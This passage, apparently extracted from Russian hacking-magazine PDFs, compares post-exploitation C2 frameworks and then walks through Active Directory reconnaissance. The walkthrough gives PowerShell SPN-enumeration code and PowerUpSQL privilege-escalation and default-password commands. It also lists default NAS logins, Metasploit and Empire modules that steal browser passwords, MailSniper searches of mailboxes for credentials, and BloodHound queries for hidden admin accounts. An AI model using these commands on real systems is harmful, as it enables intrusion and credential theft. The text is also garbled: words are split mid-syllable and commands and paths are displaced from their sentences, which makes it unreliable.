ствия  с  аген тами  пос редс твом  хорошо  докумен тирован ного  REST  API
и Socket.IO.

Faction сос тоит из ядра, которое отве чает за вза имо дей ствие поль зовате‐ 
лей  с  аген тами,  окру жения  для  соз дания  модулей  и  аген тов,  а  так же  CLI
для  управле ния  фрей мвор ком.  Поль зователь ские  роли  раз гра ниче ны
на адми на, опе рато ра и read only.

В  нас тоящее  вре мя  Faction  под держи вает  толь ко  полез ные  наг рузки
и модули на  .NET. В качес тве при мера полез ной наг рузки исполь зует ся Ma‐
rauder, но ты можешь без проб лем соз дать и свой собс твен ный.

В осно ве вза имо дей ствия Faction и аген тов лежит гиб кая сис тема кон некто‐ 
ров, которая обес печива ет надеж ную шиф рован ную связь. По дефол ту сто ит
DIRECT — это соеди нение нап рямую с C2. При соз дании нового кон некто ра
генери рует ся API‐ключ.

Faction так же поз воля ет зап рашивать дан ные с помощью SQL‐зап росов, что
иног да быва ет удоб нее, чем вза имо дей ствие с веб‐интерфей сом.

В  целом  это  неп лохой  вари ант,  но  очень  не  хва тает  инте рак тивнос ти
и более глу боких нас тро ек инс тру мен тов.

Продолжение статьи →

https://www.metasploit.com/
https://xakep.ru/2018/12/14/msfvenom/
https://www.cobaltstrike.com/
https://github.com/cobbr/Covenant
https://github.com/its-a-feature/Apfell
https://www.factionc2.com/


ФРЕЙМВОРКИ
ДЛЯ ПОСТЭКСПЛУАТАЦИИ

ВЫБИРАЕМ МЕЖДУ METASPLOIT,
COBALT STRIKE, MERLIN, APFELL, FACTION C2,

KOADIC И ДРУГИМИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

KOADIC
https://github.com/zerosum0x0/koadic

Фрей мворк с откры тыми исходни ками, пред назна чен ный для пос тэкс плу‐ 
ата ции  в  сре де  Windows.  Koadic  легок  в  раз верты вании  и  обра щении
и исполь зует для экс плу ата ции VBScript/JScript. Koadic реаль но очень «тихий»
и  не  оставля ет  столь ко  сле дов  в  сис теме,  как,  нап ример,  фрей мвор ки
на PowerShell.  Есть  воз можность  запус кать  полез ную  наг рузку  как  на  дис ке,
так и в памяти, так же Koadic под держи вает шиф рование SSL и TLS.

В сос тав фрей мвор ка вхо дят стей дже ры и имплан ты. Стей дже ры опре деля ют
вари анты  запус ка  полез ной  наг рузки  на  ата куемой  сис теме,  а  имплан ты —
это готовые скрип товые пакеты.

К сло ву, активные сес сии тут называ ются zombie! :)
Из  короб ки  дос тупны  самые  нуж ные  имплан ты,  но,  если  что,  ты  всег да

можешь допол нить этот набор сво ими.

В  кон соли  Koadic  отоб ража ются  выпол ненные  и  активные  задачи  (jobs)
имплан тов. Вооб ще, интерфейс напоми нает все ми любимый Metasploit.

Фрей мворк  дей стви тель но  мож но  наз вать  гиб ким  и  эффектив ным,
и кросс‐плат формен ность толь ко добав ляет к это му имид жу.

MERLIN
https://github.com/Ne0nd0g/merlin

Еще  один  кросс‐плат формен ный  фрей мворк  для  пос тэкс плу ата ции,
написан  на  Go.  Одна  из  осо бен ностей  Merlin  —  это  воз можность  обхо да
средств защиты с помощью про токо ла HTTP/2. В дирек тории фрей мвор ка 

  есть  уже  заранее  ском пилиро ван ные  аген ты  для  Windows,  Linux,
macOS и PowerShell, а так же биб лиоте ки DLL. По дефол ту в них зашит адрес

,  который  ты  всег да  можешь  изме нить  на  свой
с помощью фла га  , а в слу чае с DLL пос редс твом деком пиляции.

/
data/bin

https://127.0.0.1:443
‐url

Кон соль  дру желюб ная  и  инте рак тивная.  Вза имо дей ствие  с  аген тами  про‐ 
исхо дит  через  соз дание  задач,  что,  конеч но,  не  сов сем  «онлайн»,  но  зато
без лиш него шума.

У Merlin  боль шой  набор модулей  для  каж дой  из  плат форм,  и  в  нем  хорошо
сочета ются лег кость, скрыт ность и эффектив ность.

EMPIREPROJECT/EMPIRE
https://github.com/EmpireProject/Empire

Кросс‐плат формен ный  фрей мворк  для  пос тэкс плу ата ции,  сер верная
часть которо го написа на на Python. К сожале нию, раз витие про екта оста нов‐ 
лено,  но  воз можнос ти фрей мвор ка широки  и  по  сей  день.  Empire  вклю чает
в себя агент на PowerShell 2.0 для Windows и агент на Python 2.6/2.7 для Linux
и macOS.

Этот фрей мворк появил ся в резуль тате объ еди нения двух про ектов: Pow‐
erShell Empire и Python EmPyre. Empire отве чает за воз можность запус ка аген‐ 
тов PowerShell без исполь зования самого powershell.exe. Это поз воля ет быс‐ 
тро  раз вернуть  любой  модуль  пос тэкс плу ата ции  —  от  кей лог геров
до  Mimikatz,  а  так же  адап тиру емые  средс тва  свя зи  для  пре дот вра щения
обна руже ния.

Про ект име ет боль шую и дос тупную докумен тацию, в которой ты най дешь
все необ ходимое для при мене ния Empire.

C3 (CUSTOM COMMAND AND CONTROL) FRAMEWORK (MWR LABS)
https://github.com/mwrlabs/C3

На конец,  пос ледний фрей мворк  для  пос тэкс плу ата ции,  который мы  рас‐ 
смот рим.  Он  пред став ляет  собой  сво его  рода  обер тку  над  C2.  Суть  фрей‐ 
мвор ков C3 — в  гиб кой ком муника ции внеш него C2 через легитим ные про‐ 
цес сы. Нап ример, мож но в этих целях прис пособить Office 365, Slack, Google
Drive, Dropbox и дру гие сер висы, которые пов седнев но исполь зуют ся в офи‐ 
сах.

Впер вые  кон цепция  С3  была  пред став лена  на  кон ферен ции  BlueHat
v18 Уиль ямом Ноул зом и Дэй вом Хар тли. Фрей мворк MWR Labs име ет откры‐ 
тый исходный код и сос тоит из сле дующих узлов.

 — исполня емый файл, запущен ный на ском про мети рован ной сис‐ 
теме. Релеи вза имо дей ству ют меж ду собой через интерфей сы либо нап‐ 
рямую со шлю зом.

• Ре лей

 —  спе циаль ный релей  для  управле ния  одной  сетью C3,  отве чает
за обратную связь с C2.

• Шлюз

  —  схе ма  вза имо дей ствия  релея  внут ри  легитим ных  про цес сов,
типич ных для ата куемой сис темы, нап ример через API Slack.

• Ка нал

  (Gateway Return Channel) — скон фигури‐ 
рован ный  канал,  который  исполь зует ся  реле ем  для  отправ ки  дан ных
обратно на шлюз. Так же может быть мар шру том через дру гой релей.

• Об ратный шлю зовой канал

  —  высоко уров невое  имя,  прис ваиваемое  любому  устрой‐ 
ству, облегча юще му отправ ку и получе ние дан ных в сети C3.

• Ин терфейс

  —  пред полага емый  путь  ком муника ций  через  релей  обратно
к  шлю зу.  В  качес тве  перифе рий ного  устрой ства  выс тупа ет  сто рон ний
имплант C2 (нап ример, Cobalt Strike SMB beacon).

• Мар шрут

  —  интегра ция  со  сто рон ними  сис темами  C2.  Кста ти,
C3 в исполне нии MWR Labs под держи вает тес ную интегра цию с TeamServ‐
er  Cobalt  Strike.  В  качес тве  кон некто ра  хорошо  работа ет  инстанс  Cobalt
Strike  под  наз вани ем  External  C2  (коман да    через
менед жер скрип тов).

• Кон нектор

externalc2_start

На пер вый взгляд кажет ся, что C3 слиш ком слож ный, — нуж но вре мя, что бы
во  всем  этом  разоб рать ся.  Но  на  деле  помога ют  удоб ный  интерфейс,  ско‐ 
рос тной  деп лой  и  воз можность  самос тоятель но  опре делять  архи тек туру
с уче том спе цифи ки ата куемой сис темы и про чих вещей.

Пер вым делом  запус ти WebController  и  задай URL. Либо можешь  выпол‐ 
нить скрипт StartWebController.cmd.

Даль ше  в  веб‐при ложе нии  необ ходимо  скон фигури ровать  пер вый  шлюз.
Как ты уже зна ешь, без него работать ничего не будет. :)

Пос ле того как шлюз вый дет на связь, ты авто мати чес ки попадешь в кон соль
управле ния фрей мвор ком, где уже будешь стро ить свою архи тек туру.

Мно гие дей ствия выпол няют ся все го в пару кли ков. Ты с лег костью можешь
сге нери ровать  новый  канал,  клик нув  на  шлюз,  ана логич но  на  соз данный
канал — для  генера ции нового релея. Вся необ ходимая информа ция  здесь
будет авто мати чес ки запол нена. На дан ном эта пе мож но ука зать архи тек туру,
тип фай ла (.exe, .dll) и про чее.

По  каж дому  релею  дос тупна  под робная  информа ция:  вер сия  ОС,
под каким поль зовате лем запущен и ког да пос ледний раз был онлайн.

Еще важ но знать, что тут сущес тву ет два типа каналов. Сог ласован ный канал
поз воля ет  иметь  нес коль ко  свя зей  меж ду  шлю зом  и  реле ями  (по  одно му
каналу),  несог ласован ный  обес печива ет  воз можность  свя зи  толь ко  одно го
релея со шлю зом. На скри не пред став лен при мер орга низа ции сог ласован‐ 
ного канала через API Slack.

Фрей мворк мож но  тон ко нас тра ивать и делать любые схе мы ком муника ции.
Ты  можешь  реали зовать  любые  твор ческие  сце нарии,  что  цен но  само
по себе.

Все основные чер ты рас смот ренных фрей мвор ков

ИТОГИ
А теперь погово рим о выборе.

Это очень важ ный момент, и здесь нуж но учи тывать все осо бен ности век‐ 
торов  атак  на  целевые  сис темы. Фрей мворк  дол жен  обес печивать  ано ним‐ 
ность  и  по  мак симуму  удов летво рять  пот ребнос ти  в  реали зуемых  тех никах.
Из  девяти  опи сан ных  фрей мвор ков  наибо лее  удоб ным  инс тру мен тари ем
из короб ки обла дают Cobalt Strike и Metasploit.

«Кобальт», осо бен но в сочета нии с MWR Labs C3, обес печива ет дос той‐ 
ный уро вень скрыт ности и неп лохо спо собс тву ет сов мес тной работе. Metas‐
ploit в бес плат ной вер сии community edition содер жит акту аль ный набор экс‐ 
пло итов  и  средств  пос тэкс плу ата ции,  пре дос тавля ет  гиб кие  инс тру мен ты
генера ции  полез ной  наг рузки  и  обхо да  средств  анти вирус ной  защиты
(модуль evasion),  к  сожале нию по дефол ту мало эффектив ные,  так  что нуж но
импро визи ровать. В «Кобаль те» же с обхо дом АВПО все про ще, но цена воп‐ 
роса и слож ности с его покуп кой могут стать боль шим пре пятс тви ем.

Merlin  и  Koadic  прек расно  подой дут  для  про веде ния  крат косроч ных  атак
из‐за  осо бен ностей  вза имо дей ствия  с  С2.  В  час тнос ти,  Merlin  поз воля ет
эффектив но  исполь зовать  сетевые  ресур сы  с  помощью  про токо ла  HTTP/2,
что сво дит вли яние задер жек к миниму му (бла года ря сжа тию полей заголов‐ 
ков). Одновре мен но это дает воз можность обме нивать ся дан ными в рам ках
одно го соеди нения, что полез но при обхо де IPS и IDS. Дос тоинс твом Koadic
может  быть  при мене ние  Windows  Scripting  Host  (ком понент  Windows,  пред‐ 
назна чен ный  для  запус ка  при ложе ний  на  скрип товых  JScript  и  VBScript).
Это поз воля ет исполь зовать сце нарии, ана логич ные пакет ным фай лам, но с
допол нитель ными  воз можнос тями.  Бла года ря  этой  фун кции  его  мож но
исполь зовать во мно гих вер сиях Windows, вклю чая Windows 10.

Apfell,  Faction  и  Covenant  —  молодые  и  раз вива ющиеся  фрей мвор ки,
в  которых  все  еще  встре чают ся  неболь шие  баги.  Это  пока  что  ста вит
под  сом нение  их  исполь зование  в  слу чаях,  ког да  оши бать ся  нель зя.  Ана‐ 
логич ная  ситу ация  с  Empire:  из‐за  того  что  про ект  боль ше  не  раз вива ется,
ста биль ность  фрей мвор ка  изрядно  пошат нулась,  и  в  серь езных  опе раци ях
исполь зовать его я бы не стал.

И конеч но же, в этой статье зат ронуты далеко не все сущес тву ющие инс‐ 
тру мен ты. Экспе римен тируй, и ты най дешь, что тебе по душе!

https://github.com/zerosum0x0/koadic
https://github.com/Ne0nd0g/merlin
https://github.com/EmpireProject/Empire
https://github.com/mwrlabs/C3


В ACTIVE DIRECTORY

РАЗВЕДКА

ПОЛУЧАЕМ
ПОЛЬЗОВАТЕЛЬСКИЕ
ДАННЫЕ В СЕТЯХ WINDOWS
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ВЗЛОМ

Пред ставь, что кто‐то про водит ата ку на кор поратив ную сеть
Windows. Вна чале у зло умыш ленни ка либо мало при виле гий
в домене, либо их вов се нет. Поэто му искать учет ные записи
и служ бы он будет без повышен ных при виле гий, то есть не от
име ни адми нис тра тора домена или локаль ного адми нис тра‐ 
тора. О том, как про изво дит ся раз ведка в сре де Active Direc‐
tory, мы и погово рим.

Рас смот ренные в дан ной статье при меры при мени мы для сле дующих вер сий
Windows: 7, 8, 10, Server 2008, Server 2012 и Server 2016; дру гие не про веря ли.
Так же для работы при меров в сис теме дол жен быть PowerShell с ука зан ными
модуля ми.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.

СКАНИРОВАНИЕ SPN
Ког да нуж но повысить при виле гии, зло умыш ленни ки обыч но исполь зуют учет‐ 
ные  записи  служб,  пос коль ку  у  таких  уче ток  боль ше  прав,  но  нет  стро гой
полити ки  сме ны  пароля  через  задан ный  про межу ток  вре мени.  То  есть  если
ском про мети ровать их, то потом мож но дол го оста вать ся незаме чен ным.

INFO

  (SPN) — иден тифика торы
служб, запущен ных на домен ной машине. Не зная
их,  ты  не  смо жешь  искать  служ бы,  которые
исполь зуют про вер ку под линнос ти Kerberos.

Service Principal Names

SPN‐стро ка име ет такой фор мат:

SPN="serviceclass"/"hostname[:port]"[/"servicename"]

  —  стро ка,  которая  иден тифици рует  класс  служ бы,  нап‐ 
ример   — иден тифика тор для служ бы катало гов;

• Serviceclass

ldap

  —  стро ка,  где  ука зыва ется  пол ное  домен ное  имя  сис темы,
а иног да и порт;

• Hostname

  —  стро ка,  которая  пред став ляет  собой  уни каль ное  имя
(DN), GUID объ екта  или  пол ностью опре делен ное домен ное имя  (FQDN)
служ бы.

• Servicename

SPN уни каль ный в пре делах леса. Ког да компь ютер добав ляют в домен, у его
учет ной записи авто мати чес ки ука зыва ется host SPN, что поз воля ет служ бам
на этой машине запус кать ся из‐под локаль ных учет ных записей, таких как Lo‐
cal System и Network Service.

Ска ниро вание  SPN  —  это  пер вое,  что  обыч но  дела ет  зло умыш ленник
или пен тестер при поис ке служб в сре де Active Directory. Основное пре иму‐ 
щес тво это го метода по срав нению со ска ниро вани ем сетевых пор тов в том,
что не тре бует ся вза имо дей ствие с каж дым узлом сети для про вер ки слу жеб‐ 
ных  пор тов.  Ска ниро вание  SPN  поз воля ет  обна ружить  служ бы  с  помощью
зап росов  LDAP  к  кон трол леру  домена.  Так  как  зап росы SPN — нор маль ное
поведе ние про вер ки под линнос ти Kerberos, этот спо соб ска ниро вания обна‐ 
ружить  очень  слож но  (даже  поч ти  нере аль но),  в  отли чие  от  ска ниро вания
пор тов.

Вы пол нить ска ниро вание SPN мож но с помощью  .скрип та на PowerShell

Ре зуль тат работы скрип та для сер веров Microsoft SQL

На ибо лее инте рес ные служ бы:
SQL (MSSQLSvc/adsmsSQLAP01.ads.org:1433)•
Exchange (exchangeMDB/adsmsEXCAS01.ads.org)•
RDP (TERMSERV/adsmsEXCAS01.adsecurity.org)•
WSMan / WinRM / PS Remoting (WSMAN/adsmsEXCAS01.ads.org)•
Hyper‐V (Microsoft Virtual Console Service/adsmsHV01.ady.org)•
VMware VCenter (STS/adsmsVC01.ads.org)•

Хо чу  поделить ся  с  тобой  и  еще  одним  инте рес ным  скрип том,  который
покажет тебе все SPN для всех поль зовате лей и всех компь юте ров.

$search = New‐Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results){
   $userEntry = $result.GetDirectoryEntry()
   Write‐host "Object Name = " $userEntry.name ‐backgroundcolor 
"yellow" ‐foregroundcolor "black"
   Write‐host "DN      =      "  $userEntry.distinguishedName
   Write‐host "Object Cat. = "  $userEntry.objectCategory
   Write‐host "servicePrincipalNames"
   $i=1
   foreach($SPN in $userEntry.servicePrincipalName)
   {
       Write‐host "SPN(" $i ")   =      " $SPN       $i+=1
   }
   Write‐host "" 
}

Ре зуль тат работы cкрип та — спи сок SPN

СБОР ДАННЫХ
Об щие ресур сы
В сре де Active Directory час то исполь зуют ся сетевые пап ки и фай ловые сер‐ 
веры.  Эти  коман ды  отоб разят  спи сок  общих  ресур сов  на  локаль ном  хос те,
спи сок сетевых компь юте ров и спи сок шар на уда лен ном компь юте ре:

> net share
> net view
> net view COMPUTER_NAME /all

Но что делать, если полити ка безопас ности зап реща ет исполь зовать сетевые
коман ды?  В  этом  слу чае  нас  выручит  .  Спи сок  общих  ресур сов
на локаль ном хос те и спи сок общих ресур сов на уда лен ном компь юте ре мож‐ 
но пос мотреть с помощью команд

wmic

> wmic share get /format:list
> wmic /node: COMPUTER_NAME share get

По лез ный  инс тру мент  для  поис ка  дан ных  —  .  Он  авто мати чес ки
обна ружи вает  сетевые  ресур сы  и  фай ловые  сер веры  с  помощью  команд

 и  .

PowerView

Find‐DomainShare Get‐DomainFileServer
Кста ти, PowerView встро ен в фрей мворк   и пред став лен

дву мя модуля ми:
PowerShell Empire

;• situational_awareness/network/powerview/share_finder

.• situational_awareness/network/powerview/get_fileserver

Ба зы дан ных
В  сре де  Active  Directory,  как  пра вило,  нес коль ко  сер веров  баз  дан ных.

 — отличный инс тру мент для обна руже ния и перечис ления сер‐ 
веров Microsoft SQL и атак на них.
PowerUpSQL

Най ти все локаль ные экзем пля ры SQL мож но коман дой

> Get‐SQLInstanceLocal ‐Verbose

Что бы най ти все экзем пля ры SQL в сети или домене, исполь зуй коман ды

> Get‐SQLInstanceDomain ‐Verbose
> Get‐SQLInstanceBroadcast ‐Verbose
> Get‐SQLInstanceScanUDP ‐Verbose

Пос ле поис ка собира ем информа цию об экзем пля рах SQL. Локаль ных:

> Get‐SQLInstanceLocal | Get‐SQLServerInfo

И уда лен ных:

> Get‐SQLServerInfo ‐Instance "COMPUTER_NAME"

Ког да  мы  наш ли  все  экзем пля ры  SQL  и  соб рали  информа цию  о  них,  мы
можем:

по лучить  спи сок  экзем пля ров  SQL,  в  которые  раз решен  вход  текуще му
поль зовате лю домена:

•

> Get‐SQLInstanceDomain –Verbose | Get‐SQLConnectionTestThreaded 
–Verbose ‐Threads 10

по пытать ся получить пра ва адми нис тра тора для экзем пля ра SQL:•

> Invoke‐SQLEscalatePriv ‐Verbose ‐Instance "COMPUTER_NAME"

пе речис лить экзем пля ры SQL по все му домену с исполь зовани ем паролей
по умол чанию:

•

> Get‐SQLInstanceDomain ‐Verbose | Get‐SQLServerLoginDefaultPw 
‐Verbose

сдам пить информа цию о SQL Server и базе дан ных в фай лы CSV или XML:•

> Invoke‐SQLDumpInfo ‐Verbose ‐Instance "COMPUTER_NAME"

за пус тить фун кции ауди та для сер вера SQL:•

> Invoke‐SQLAudit ‐Verbose ‐Instance "COMPUTER_NAME"

Network Attached Storage
Network Attached Storage (NAS) — сер вер для хра нения дан ных на фай ловом
уров не.  Пос коль ку  там  сло жены  фай лы,  неред ко  это  и  есть  цель  зло умыш‐ 
ленни ка. NAS не нуж на пол ноцен ная опе раци онка, поэто му на них час то ста‐ 
вят FreeNAS или NAS4Free на базе FreeBSD. Боль шинс тво NAS мож но адми‐ 
нис три ровать через веб или SSH. В таком слу чает сле дует переб рать дефол‐ 
тные связ ки логин — пароль. Вот пятер ка самых рас простра нен ных:

admin:admin;•
admin:password;•
root:nasadmin;•
nasadmin:nasadmin;•
admin:"no pass".•

Поль зователь ские дан ные при наличии при виле гий
Учет ные дан ные поль зовате лей
Для  охо ты  на  поль зовате лей  отлично  под ходит    —  инс тру мент
для активно го поис ка катало гов.

BloodHound

Оп ределить, где кон крет ный поль зователь или груп па поль зовате лей вош‐ 
ли  в  сис тему,  мож но  с  помощью  команд  PowerView  и  модуля  PowerShell
Empire.

 

 

 

 Find‐DomainUserLocation ‐UserIdentity USER_NAME 
 Find‐DomainUserLocation ‐UserGroupIdentity GROUP_NAME
>
>

situational_awareness/network/powerview/user_hunter

Ло каль ные дан ные
Пос ле ком про мета ции учет ных дан ных поль зовате лей появ ляет ся мно го воз‐ 
можнос тей: запись на рабочий стол, получе ние кар тинки с веб‐камеры, сброс
паролей,  уста нов ка  кей лог геров.  Боль шая  часть  этих  воз можнос тей  авто‐ 
мати зиро вана  в  инс тру мен тах  Metasploit  Framework,  PowerShell  Empire
и Cobalt Strike.

Мно гие — может быть, даже  ты — поз воля ют бра узе рам сох ранять свои
пароли. И час то мы исполь зуем одни и те же пароли для раз ных сер висов, так
что най ден ные в бра узе ре пароли нам еще, ско рее все го, при годят ся.

Вот модули Metasploit, которые помога ют в этом:
• post/windows/gather/enum_chrome

• post/multi/gather/firefox_creds

• post/firefox/gather/cookies

• post/firefox/gather/passwords

• post/windows/gather/forensics/browser_history

Мо дули PowerShell Empire:
• collection/ChromeDump

• collection/FoxDump

Вы тащить  пароли  мож но  и  вруч ную.  Для  это го  сох рани  про филь  бра узе ра,
импорти руй его на вир туаль ную машину, открой бра узер и пос мотри пароли.

Фай лы  про филей  Firefox  лежат  в 
, а про филей Google Chrome — в 

. Что бы узнать дан‐ 
ные  уда лен ного  дос тупа,  мож но  исполь зовать  модуль Metasploit 

 или модули Empire 
 и  .

C:\Users\TARGET\AppData\Roaming\
Mozilla\Firefox\Profiles C:\Users\TAR‐
GET\AppData\Local\Google\Chrome\User Data\Default

post/win‐
dows/gather/enum_putty_saved_sessions collection/
netripper credentials/sessiongopher

Поль зователь ские фай лы
Час то цель ата кующе го — это поль зователь ские фай лы. Для их поис ка есть
очень  удоб ный  скрипт  на  PowerShell  —  .  Он  поз воля ет  исполь‐ 
зовать филь тры. Нап ример, что бы най ти файл с име нем wmimplant, выпол ним
коман ды

WMImplant

> $filefilter = "Filename = 'wmimplant' AND Drive='C:'"
> Get‐WMIObject ‐Class CIM_Datafile ‐filter $filefilter

По иск фай ла wmimplant на дис ке C с исполь зовани ем WMImplant

Так же мож но нас тро ить филь тр по рас ширению фай ла.

> $filefilter = "Extensios = 'ps1' AND Drive='C:'"
> Get‐WMIObject ‐Class CIM_Datafile ‐filter $filefilter

По иск фай лов *.ps1 на дис ке C с исполь зовани ем WMImplant

Для  поис ка  фай лов  на  уда лен ной  машине  ука зывай  для 
параметр  .

Get‐WMIObject
‐ComputerName

Microsoft Exchange и Outlook при наличии при виле гий
Ес ли  у  зло умыш ленни ка  есть  учет ные  дан ные  поль зовате лей,  то  поч товые
ящи ки, счи тай, тоже ском про мети рова ны. Если ты выс тупа ешь на ата кующей
сто роне,  откры вай  панель Outlook  и  делай  зап росы,  по  которым могут  най‐ 
тись полез ные дан ные. Нап ример, 

.
логин, пароль, password, pass, cre‐

dentials, vpn, ssh, root, confidential
Этот  про цесс  мож но  авто мати зиро вать  при  помощи  инс тру мен та 

.  Для  авто мати чес кого  обна руже ния  целево го  сер вера  Exchange
и поис ка в поч товом ящи ке user@example.com исполь зуй такую коман ду:

Mail‐
Sniper

> Invoke‐SelfSearch ‐OutputCsv local‐results.csv ‐Mailbox 
user@example.com

Ес ли ящик известен, то такую:

> Invoke‐SelfSearch ‐Remote ‐ExchHostname outlook.office365.com 
‐OutputCsv local‐results.csv ‐Mailbox user@example.com

Ес ли у тебя уже есть пра ва адми нис тра тора Exchange, мож но искать по всем
поч товым ящи кам:

> Invoke‐GlobalMailSearch ‐ImpersonationAccount TARGET_USER ‐ExchHo
stname Exch01 ‐OutputCsv global‐results.csv

УЧЕТНЫЕ ДАННЫЕ
Учет ные записи адми нис тра торов домена
Су щес тву ет два эффектив ных метода искать учет ные записи с повышен ными
пра вами в Active Directory. Пер вый — стан дар тный метод перечис ления групп,
который иден тифици рует всех чле нов обыч ных групп адми нис тра торов Active
Directory.  В  боль шинс тве  орга низа ций  есть  поль зователь ские  груп пы  адми‐ 
нис тра торов  —  схе мы  име нова ния  могут  быть  раз ными,  но  если  искать
по сло ву admin, то, ско рее все го, не про мах нешь ся.

 

 

 get‐adgroup ‐filter {GroupCategory ‐eq 'Security' ‐AND Name ‐like "
"} 

 
 

 
 
 

 
 

> ad‐
min
DistinguishedName : CN=Server Admins,OU=AD Management,DC=lab,DC=adsecu‐
rity,DC=org
GroupCategory : Security
GroupScope : Global
Name : Server Admins
ObjectClass : group
ObjectGUID : 3877c311‐9321‐41c0‐a6b5‐c0d88684b335
SamAccountName : ServerAdmins
SID : S‐1‐5‐21‐1581655573‐3923512380‐696647894‐2628

Вто рой метод — искать учет ки, у которых атри бут   равен еди нице.AdminCount

 

 

 get‐aduser ‐filter {AdminCount ‐eq 1} ‐Properties Name,AdminCount,Ser‐
vicePrincipalName,MemberOf 

 
 

 

 

 
 

 
 

 
 

 

>

AdminCount        : 1
DistinguishedName : CN=ADSAdministrator,CN=Users,DC=lab,DC=ads,DC=org
Enabled           : True
MemberOf          : {CN=Administrators,CN=Builtin,DC=lab,DC=ads,DC=org, 
CN=Schema Admins,CN=Users,DC=lab,DC=ads,DC=org, CN=Group
Policy Creator Owners,CN=Users,DC=lab,DC=ads,DC=org, CN=Enterprise Ad‐
mins,CN=Users,DC=lab,DC=ads,DC=org…}
Name              : ADSAdministrator
ObjectClass       : user
ObjectGUID        : 72ac7731‐0a76‐4e5a‐8e5d‐b4ded9a304b5
SamAccountName    : ADSAdministrator
SID               : S‐1‐5‐21‐1581655573‐3923512380‐696647894‐500
Surname           :
UserPrincipalName :

Но учти, что в чис ле про чего получишь учет ки, у которых прав адми нис тра тора
нет. Дело в том, что это зна чение не сбра сыва ется авто мати чес ки пос ле уда‐ 
ления учет ной записи из групп адми нис тра торов.

Скры тая учет ная запись адми нис тра тора
Скры тая  учет ная  запись  адми нис тра тора  —  это  учет ная  запись  домена,
которая  пре дос тавля ет  адми нис тра тору  дос туп  к  кон трол леру  домена,  сер‐ 
веру обме на или сер веру баз дан ных. Но эта запись не при над лежит к при‐ 
виле гиро ван ным  груп пам Active Directory,  то  есть  адми нис тра торам домена.
Раз решения для таких уче ток наз нача ются нап рямую с помощью спис ков кон‐ 
тро ля дос тупа (ACL) для объ ектов Active Directory.

Час то это учет ные записи служб. Они обыч но име ют дос туп к нес коль ким
сис темам в сре де. При этом такие учет ки не получа ют столь ко же вни мания
и  таких  же  стро гих  политик  безопас ности,  как  адми нис тра торы  домена.
В резуль тате они ста новят ся глав ной целью зло умыш ленни ков при «дви жении
вбок» или повыше нии при виле гий.

Для  поис ка  скры тых  учет ных  записей  адми нис тра тора  исполь зуй  тул зу
.  Пол ную  инс трук цию  по  уста нов ке  это го  инс тру мен та  можешь

най ти  .
BloodHound

в вики про екта
Пос ле нас трой ки базы дан ных и вхо да в веб‐интерфейс BloodHound мож‐ 

но начинать собирать дан ные Active Directory с помощью BloodHound Power‐
Shell. Вот как запус тить коман ды для поис ка доменов в лесу и сох ранить CSV
в ука зан ную пап ку:

> . .\SharpHound.ps1
> Invoke‐BloodHound ‐SearchForest ‐CSVFolder C:\Users\Public

Ре зуль тат работы BloodHound PowerShell

Пос ле  заг рузки  фай ла  у  тебя  есть  боль шой  выбор  даль нейших  дей ствий.
Мож но  прос мотреть  всех  адми нис тра торов  домена,  гля нуть  спи сок  поль‐ 
зовате лей  с  пра вами  локаль ных  адми нис тра торов,  опре делить  машины
с пра вами адми нис тра торов и мно гое дру гое.

Зап росы BloodHound

Та ким  обра зом,  при  прос мотре  «кар ты  довери тель ных  отно шений»
и «10 поль зовате лей с боль шинс твом прав локаль ных адми нис тра торов» мы
смо жем  опре делить  учет ные  записи,  которые  име ют  дос туп  к  боль шинс тву
сис тем,  а  так же  узнать,  сущес тву ют  ли  двус торон ние  отно шения  доверия
меж ду  внеш ними  домена ми,  которые  мог ли  бы  рас ширить  круг  дос тупных
ресур сов.

Дру гой  спо соб  най ти  скры тые  учет ные  записи  адми нис тра тора —  поиск
кон трол лера домена.
1. Ищем груп пу Domain Controllers.
2. Вы бира ем  «Пря мые  учас тни ки»  в  раз деле  «Учас тни ки  груп пы»:  там отоб‐ 
ражены все узлы сис темы кон трол лера домена в этой груп пе.

3. Ткнув  на  один  из  узлов  сис темы  в  раз деле  «Мес тные  адми нис тра торы»,
выбира ем «Про изводные локаль ные адми нис тра торы».

BloodHound — локаль ные адми нис тра торы

Как видишь, есть две учет ные записи, которые име ют локаль ный дос туп адми‐ 
нис тра тора к кон трол леру домена. Они не вхо дят в груп пу «Адми нис тра торы
домена».  Поз драв ляю,  мы  толь ко  что  обна ружи ли  две  скры тые  учет ные
записи адми нис тра тора!

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
https://github.com/EmpireProject/Empire
https://github.com/NetSPI/PowerUpSQL
https://github.com/BloodHoundAD/BloodHound
https://github.com/FortyNorthSecurity/WMImplant
https://github.com/dafthack/MailSniper
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started


РАЗВЕДКА
В ACTIVE DIRECTORY

ПОЛУЧАЕМ ПОЛЬЗОВАТЕЛЬСКИЕ ДАННЫЕ
В СЕТЯХ WINDOWS БЕЗ ПРИВИЛЕГИЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Груп пы Active Directory
Груп пы Active Directory быва ют двух типов.
1.   — исполь зуют ся для спис ков рас сылки элек‐ 
трон ной поч ты и не могут слу жить для кон тро ля дос тупа к ресур сам, поэто‐ 
му они нам неин терес ны.

Груп пы рас простра нения

2.    —  могут  при менять ся  для  кон тро ля  дос тупа
и добав лены в спис ки кон тро ля дос тупа.
Груп пы  безопас ности

Не зави симо  от  того,  к  какому  типу  отно сит ся  груп па,  она  зада ется  битом
в свой стве  .groupType

Груп пы  безопас ности  могут  иметь  одну  из  трех  областей  дей ствия.
Область дей ствия груп пы вли яет на то, какие типы груп повых объ ектов могут
быть добав лены в нее и в какие дру гие груп пы груп па может быть вло жена.
1. Гло баль ные груп пы могут быть вло жены в локаль ные груп пы домена, уни‐ 
вер саль ные груп пы и дру гие гло баль ные груп пы в одном домене.

2. Уни вер саль ные  груп пы  могут  быть  вло жены  в  локаль ные  груп пы  домена
и дру гие уни вер саль ные груп пы в любом домене.

